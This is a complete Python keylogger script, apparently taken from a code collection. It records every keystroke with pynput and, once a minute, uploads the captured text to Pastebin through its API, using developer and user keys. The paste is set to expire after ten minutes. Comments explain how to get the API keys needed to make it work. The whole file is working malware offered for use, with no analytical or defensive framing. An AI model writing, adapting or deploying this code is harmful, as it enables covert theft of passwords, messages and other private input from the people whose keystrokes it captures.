text: from pynput import keyboard
  from time import time
  import requests
  
  sendTime=60#time between posts (in sec)
  devKey='your dev key'#info https://pastebin.com/doc_api#1
  userKey='your user key'#info https://pastebin.com/doc_api#9 , to get use python (and change [flags] to your real values): import requests;requests.post('https://pastebin.com/api/api_login.php',{'api_dev_key':'[dev key]','api_user_name':'[username]','api_user_password':'[password]'}).text
  
  prevTime=time()
  data=''
  
  print('start')
  
  def on_press(key):
  	global data
  	global sendTime
  	global prevTime
  	if key!=None:
  		try:
  			data+=key.char
  		except AttributeError:
  			data+='[{}]'.format(str(key)[4:])
  			if str(key)=='Key.enter':data+='\n'
  	
  	#timeCheck
  	if time()-prevTime>sendTime:
  		r=requests.post('https://pastebin.com/api/api_post.php',
  			{'api_dev_key':devKey,
  			'api_option':'paste',
  			'api_user_key':userKey,
  			'api_paste_code':data+'\n\nYour notes',
  			'api_paste_name':str(time()),#paste title
  			'api_paste_expire_date':'10M'})
  		
  		if r.status_code!=200:print('Error:'+r.text)
  		else:print('Sucsess!')
  		print('\a')
  		
  		prevTime=time()
  		data=''
  		print('\a')
  
  # Collect events until released
  with keyboard.Listener(on_press=on_press) as listener:listener.join()
  